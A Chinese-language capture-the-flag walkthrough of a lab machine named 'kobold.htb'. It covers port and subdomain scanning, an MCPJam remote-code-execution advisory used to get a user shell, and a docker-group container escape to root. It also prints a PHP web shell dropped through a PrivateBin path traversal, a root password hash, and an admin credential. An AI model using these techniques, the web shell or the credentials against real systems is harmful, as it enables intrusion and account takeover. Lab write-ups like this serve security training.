基本信息
端口扫描
22,80,443:
1 | nmap -sC -sV -Pn 10.129.224.76 |
80/443
80是自动跳到443,需要加hosts:
1 | 10.129.224.76 kobold.htb |
AI相关的:
子域名扫描
子域名可以发现mcp和bin:
1 | mcp [Status: 200, Size: 466, Words: 57, Lines: 15, Duration: 92ms] |
mcp
mcp是MCPJam,setting里可以看到版本是v1.4.2:
bin
bin是private bin 2.0.2:
MCPJam CVE-2026-23744
mcpjam搜索可以找到相关漏洞:
- REC in MCPJam inspector due to HTTP Endpoint exposes · CVE-2026-23744 · GitHub Advisory Database
https://github.com/advisories/GHSA-232v-j27c-5pp6
打到ben shell:
1 | curl -k -X POST "https://mcp.kobold.htb/api/mcp/connect" \ |
user flag
ben用户桌面:
非预期 root
ben可以直接添加自己到docker组中,然后常规docker挂载逃逸:
1 | newgrp docker |
shadow
1 | root:$y$j9T$Y2.8/1PJQyHeLyWzEs47k/$HBHuW.lG1nwRHlGBpVaM/a3sFHUcij5Gj3loTXPD.Z4:20500:0:99999:7::: |
private bin
预期方式应该是这里,通过private bin:
- Template-switching feature allowing arbitrary local file inclusion through path traversal · Advisory · PrivateBin/PrivateBin
https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82
1 | echo '<?php system($_GET["cmd"]); ?>' > /privatebin-data/data/miao.php |
Arcane
然后在前面得到的ben shell里查看端口可以发现一个3552,访问是Arcane:
1 | arcane : ComplexP@sswordAdmin1928 |
容器逃逸
后面就又是容器逃逸部分了,挂载目录,进入容器内shell查看:
参考资料
- REC in MCPJam inspector due to HTTP Endpoint exposes · CVE-2026-23744 · GitHub Advisory Database
https://github.com/advisories/GHSA-232v-j27c-5pp6 - Template-switching feature allowing arbitrary local file inclusion through path traversal · Advisory · PrivateBin/PrivateBin
https://github.com/PrivateBin/PrivateBin/security/advisories/GHSA-g2j9-g8r5-rg82